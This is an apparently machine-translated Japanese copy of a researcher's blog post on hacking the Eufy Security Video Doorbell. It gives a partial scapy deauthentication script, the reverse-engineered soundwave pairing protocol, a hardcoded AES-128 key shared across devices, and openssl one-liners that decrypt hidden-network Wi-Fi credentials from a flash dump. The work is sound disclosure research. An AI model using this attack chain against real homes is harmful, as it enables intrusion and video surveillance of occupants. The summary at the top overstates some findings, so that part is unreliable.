
2026/08/05 9:43
ドアベルからホームネットワークまで
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Eufy Security ビデオドアベルのエコシステム内に重大なセキュリティ欠陥が存在し、攻撃者はデバイスを引き渡す、監視映像を傍受し、家庭ネットワークを数分で侵害することが可能である。最も緊急性の高い脅威は、対戦相手がリモートでドアベルをカメラから切断することを可能にする WPA2 の脆弱性であり、これによりデバイスが脆弱なローカル録画モードへと強制され、動画ストリームが容易に傍受される。さらに、研究員らはサウンドウェーブ同期プロトコル内にハードコードされたデータを発見し、これによって主ネットワークセキュリティを解読することなく、AES-128 暗号化キーと Wi-Fi パスワードを直接露見させることができた。携帯型コンピューターを用いて"OCEAN_XXXXXX"という名前の隠された内部ネットワークを検索することで、攻撃者はデバイスのフラッシュメモリから機密認証情報を直接抽出することができる。一度侵入すれば、ハッカーは Homebase Station 2 を制圧し、意図されたセキュリティ対策を回避してルーターや他のスマートホーム機器にアクセスできる。この侵害行為により、プライベートネットワーク全体への横移動が可能となり、単なるドアベルがオーディオおよびビデオの監視を行うゲートウェイへと変質し、GitLab サーバーなどの接続されたデバイスからのデータを盗むことが可能となる。
本文
Eufy セキュリティビデオドアベルのハッキング:サウンドウェーブ同期プロトコルのリバースエンジニアリングと OCEAN_XXXXXX 認証情報の取得
親愛なる読者の方へ、久々の登場です。2 年ぶりのハッキングの世界への復帰を嬉しく思います。今回は私が調査した「Eufy Security Video Doorbell」エコシステムのセキュリティに関する詳細なレポートをお届けします。
本記事は長いため、関心のあるセクションに素早く移動できるよう目次を設定しています。すべてを読み切ることを願っております。
目次
- 0x00 序言 (Preamble): この研究のきっかけと背景について。
- 0x01 エコシステムの概要 (Introduction to the ecosystem): デバイス構成とネットワーク構成図。
- 0x02 ジャミング (Jamming): WPA2 無保護状態を利用した接続切断方法(Proof of Concept)。
- 0x03 サウンドウェーブ同期プロトコル (Soundwave sync protocol): 音波を利用した暗号化情報の伝送とリバースエンジニアリング。
- 0x04 Flash メモリから OCEAN_XXXXXX 認証情報の抽出と復号化: 隠れたネットワークのパスワード取得方法。
- 0x05 最終的な言葉 (Final words): エピローグ。
0x00 序言 (Preamble)
昨年 6 月、EuskalHack コングレスで発表する機会を得ました(私のトピックは、追加された Linux エンバロメントに関する入門レベルの話でした)。コンピュータサイエンスの修士号を完了しようとしていた実兄にハッキングの世界を見せてやるために同行しました。彼の強い関心を惹いたのは、Pepelux の「ビデオインターコムへの侵入(pwn)」に関する発表でした。そこで、その関心を活かし、夏休みの課題としてガジェットをハッキングしてみることを提案しました。
ターゲットの選定には数週間かかりましたが、ある日素晴らしい街を散策していた際、そこにあるビデオドアベルの数が圧倒的だったことに気づきました。残念ながら、私の住む街は**unchecked tourism(無抑制な観光客流入)**に感染しており、短期賃貸物件による地域コミュニティの破壊という腫瘍が近隣地域の社会構造に壊死をもたらしています。そこで、彼らによって最も一般的なモデルを使用し、ハッキングしてみることにしました :)
そのターゲットは、**"Eufy Security Video Doorbell"**エコシステムでした。
0x01 エコシステムの概要 (Introduction to the ecosystem)
インターネットで購入した「Eufy Security Video Doorbell」の箱を開けると、以下の 2 つのコンポーネントで構成されていることがわかります。
- "Homebase Station 2"(ホームベースステーション 2):中央ハブとして機能し、Wi-Fi またはイーサネット経由でインターネットに接続する部分。
- "Doorbell"(ドアベル本体):玄関に設置され、隠された Wi-Fi ネットワークを介してホームベースと通信します。
すべての制御はモバイルアプリから行われます。アプリを使用してホームベースと通信し、新しいデバイスの追加や機能操作が可能です。
ネットワーク構成について
USENIX の発表などで指摘されているように、Eufy エコシステムには以下の重要な特性があります。
- 隠されたネットワーク: 製品間通信に使用されるプレ共有鍵(PSK)は低エントロピーの構造を持っています。
- ※2023 年の研究時点では PSK が 8 バイトでしたが、現在は変更されています。
- SSID の形式: 隠れたネットワークの名前は
です。OCEAN_XXXXXX
はホームベースの MAC アドレスの最後の 6 オクテット(24 ビット)です。XXXXXX
- ゲートウェイ機能: ドアベルはインターネットに直接接続しないため、ホームステーションがゲートウェイとして機能します。
- もし隠されたネットワークにアクセスできれば、ブラウザを自由に操作でき、ルーターの Web インターフェースなどへのアクセスも可能になります。
0x02 ジャミング (Jamming)
最初に思い浮かべたのは、「WPA2 を使用しているが、いかなる保護も施されていない場合、Deauth パケットによる脆弱性はないだろうか?」という疑問です。答えは**「もちろんあります」**。
遠隔地から Deauth パケットを洪水(flood)させ、隠れたネットワークからの接続を切断させることができます。その結果、映像や音スはローカルに記録されますが、ホームベースやモバイルアプリにはストリーミングされません。これは物理的に接近してメモリをダンプし、その後閉じる手法としても非常に魅力的です。
脅威モデリングと MAC アドレスの特定
ホームベースの存在を特定するのは容易で、以下の理由から可能です。
- ドアベルもホームベースも同一の前缀
を使用しています。90:bf:d9 - バッテリー駆動の Raspberry Pi に古い Alfa Wi-Fi アンテナを接続し、探査ビーコンをスキャンすることで MAC アドレスと一致するステーションを探します。
- 使用されているチャネルを把握し、
の形式でプローブリクエストを送信します。OCEAN_XXXXXX - もしプローブレスポンスを受け取れば、ホームベースを発見できたと判断し、ブロードキャスト Deauth パケットを送ることができます。
Proof of Concept スクリプト
以下のスクリプトは、隠れたネットワークへの接続を切断するためのものです(※500 回送信はローカル環境テスト用です)。
#!/usr/bin/env python3 from scapy.all import * from scapy.layers.dot11 import Dot11, Dot11Elt from scapy.layers.dot11 import RadioTap import subprocess, time ch = None ssid = None bssid = None iface = "wlan1" whale_mac = None whale_ssid = None def banner(): print("\t\t-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n") # ... (略) def beacon_handler(pkt): global ch, ssid, bssid if ch is not None: return if not pkt.haslayer(Dot11): return d = pkt[Dot11] # MAC アドレス前缀が一致するかチェック (90:bf:d9) if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9": cur = pkt while True: cur = cur.payload if cur is None or cur == NoPayload: return # チャンネル情報取得 if isinstance(cur, Dot11Elt) and cur.ID == 3: if len(cur.info) >= 1: ch = cur.info[0] ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","") bssid = d.addr2.upper() break if ch != None: print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!") return def set_channel(mon_iface): subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def build_req(): global ssid, bssid # ... (プローブリクエストの構築と送信ロジック) pass # ... (他関数の省略)
このスクリプトを実行し、Deauth パケットを送信することでネットワーク接続を遮断できます。
0x03 サウンドウェーブ同期プロトコル (Soundwave sync protocol)
ドアベルをホームベースに接続するためには同期が必要です。これは一見すると**音波(サウンドウェーブ)**に依存しているように見えます。私は以前、信号処理の知識がなかったので非常に興味深かったです。
同期プロセスの理解
初期の研究では、ホームベースが音を介して SSID と PSK を直接送信すると考えられていましたが、実際には以下の仕組みでした。
- 一時的なホットスポット: ホームベースは音を介して SSID 名と PSK を一時的なホットスポットとして送信します。
- 接続と共有: ドアベルがこのホットスポットに接続されると、バンド外(out-of-band)で隠れた Wi-Fi の SSID とパスワードを共有し、最後にそれらに接続します。
- 動的なデータ: ファームウェア再起動ごとに音波のデータは異なります(スポイラー:後述するプロトコルリバースエンジニアリングにより確認)。
ファームウェアの分析と発見
この分野での私の無知から、専門家の Gonzalo Carracedo (BatchDrake) に相談し、以下の知見を得ました。
- 19 の周波数が使用されている(間隔 150 Hz)。
- シンボルは約 65ms の持続期間を持っている。
- Flash メモリのダンプとリバースエンジニアリングから、暗号化の仕組みが解明されました。
音響データの変換プロセス
ファームウェア内のコード分析により、以下の処理フローが発見されました。
- 周波数変換: 物理的なトーン(1〜19)をニブル(半バイト)に変換します。
- 「1」の位置にあるトーンはブロック分割用のマーカーです。
- トーン 2〜17 がニブル 0〜F にマッピングされます。
- リード・ソロモン誤り訂正: 最後の 2 つのニブルは情報ではなく、エラー修正用のパリティデータとして使用されます(
関数による処理)。FUN_000bcd4 - CRC-16 検証: 短縮されたブロックは CRC-16 で検証されます(
関数)。FUN_000b7104
SSID とパスワードの復号化
暗号化されたデータを JSON 形式で出力する場所を見つけたことで、SSID とパスワードをデコードする関数が発見されました。
bool decodeWifiSSID(Context *ctx, uint8_t *data, int dataLen, WifiInfo *out) { // ... (略) // SSID の長さは最初の 2 バイトにエンコードされている int ssidLen = (((header0 & 1) << 4) | header1) + 1; // SSID をデコード int decoded = decodePayload(...); // パスワードをデコード int passLen = decodePayload(..., out->password, -1, 0x50); return true; }
完全なメッセージ(デコード例):
- SSID:
(隠れた Wi-Fi)OCEAN_XXXXXX - Password:
(例)267039eb
復号化テストと検証
生成した音声を再生すると、ドアベルが作成した Wi-Fi (
a1b2c3d4) に接続を試みるプローブリクエストが即座に送信されました。
# Raspberry Pi で仮の AP を作成してテスト psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf interface=wlan0 driver=nl80211 ssid=a1b2c3d4 hw_mode=g channel=6 wpa_passphrase=4d3c2b1a
テスト結果:
psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav payload: 276613162326333643463464336332623161 crc: 72f3 ... psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav { "type": 1, "raw_hex": "...", "kind": "wifi", "ssid": "a1b2c3d4", "password": "4d3c2b1a", ... }
ドアベルは生成された音声を認識し、指定された Wi-Fi に接続します。これにより、
OCEAN_XXXXXX という隠れたネットワークへの認証情報が得られましたが、実際には一旦 ad-hoc ホットスポットを介してデータが送信され、その後 TCP/UDP を使用して本物の OCEAN_XXXXXX データをバンド外で送るという仕組みであることが確認できました。
0x04 Flash メモリから OCEAN_XXXXXX 認証情報の抽出と復号化 (Extracting and decrypting OCEAN_XXXXXX creds from flash memory)
以前のホームベースの同期ドアベルのフラッシュメモリをダンプした際、隠されたネットワークの認証情報が含まれていることがわかりました。
キー生成と暗号化の仕組み
分析の結果、以下の手順で暗号化キーが生成されることが判明しました。
- 64 バイト文字列の生成:
を使用。abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ - XOR 処理: 反復する 3 バイトのグループ(0x01, 0x04, 0x06)との古典的な XOR を適用。
- MD5 ハッシュ: 結果を MD5 でハッシュ化し、8 バイト(16 ヘックス文字)を取得。
この処理の結果、すべてのデバイス間で共通する暗号化キーが導出されました:
C0C714B43806EF49 => 43304337313442343338303645463439
暗号化ファイルの抽出と復号化
フラッシュメモリダンプから
es_config という暗号化ファイルを見つけました。これを AES-128-ECB モードで復号化すると、以下の結果が得られます。
復号化コマンド:
tail -c +3 es_config | openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 | xxd
抽出された認証情報:
- SSID:
(MAC アドレス末梢部による命名)OCEAN_E9A5FC - Password:
(例)267039eb - Static IP:
192.168.32.250
半自動化抽出手順
完全に手作業で行うのではなく、以下のワンライナーでファイルを抽出・復号化できます。
-
mtdparts の抽出とファイルシステムのマウント:
mtdparts='sfc_nor:64K(env)...2048K(system),512K(config)...'; part=user; \ eval $(echo "$mtdparts" | awk -v p="$part" '...'); \ dd if=firmware_doorbell.bin of=/tmp/$part.bin bs=1 skip=$skip count=$count -
JFFS2 から config ファイルの抽出と復号化:
jffs2reader /tmp/user.bin -f /es_config | tail -c +3 | \ openssl enc -aes-128-ecb -d -nopad -K 43304337313442343338303645463439 | xxd
もしドアベルにアクセスできる誰かがおり、所有者がジャミングされたため何も警告されていない場合、5 分以内にフラッシュメモリをダンプして隠れたネットワーク認証情報を抽出・取得できます。あるいは単にデバイスを持っていくことも可能です。
ネットワークへの侵入
この Wi-Fi に接続すれば、ホームネットワークを使用してインターネットをブラウザでき、さらに他のデバイス(ルーターなど)へのアクセスも可能になります。
# 接続確認 iwconfig wlp1s0 IEEE 802.11 ESSID:"OCEAN_E9A5FC" Access Point: 90:BF:D9:E9:A5:FC # インターネットへのアクセステスト ping google.es PING google.es (216.58.204.195) ... 成功 # 内部ネットワークのサービススキャン (Nmap 等) PORT STATE SERVICE VERSION 53/tcp open domain syn-ack dnsmasq 2.90 9000/tcp open cslistener?
0x05 最終的な言葉 (Final words)
私が最後にこのブログに投稿してから 2 年が経ちました。その間にいくつかの研究を行いましたが、それが私の Red Teamer としての仕事に関連していました(そして、正直なところ、それはますます苦痛になりました)。
何らかの趣味のために「ハッキング」を感じるのを再発見し、純粋に学ぶ楽しみだけで数時間を過ごすのは、素晴らしいものでした。私は私の古き良き内なるオウズと再接続しました。皆様がお読みいただき、楽しんでいただければ幸いです。フィードバックを歓迎します。私たちの Twitter @AdeptsOf0xCC でご感想をお聞かせください。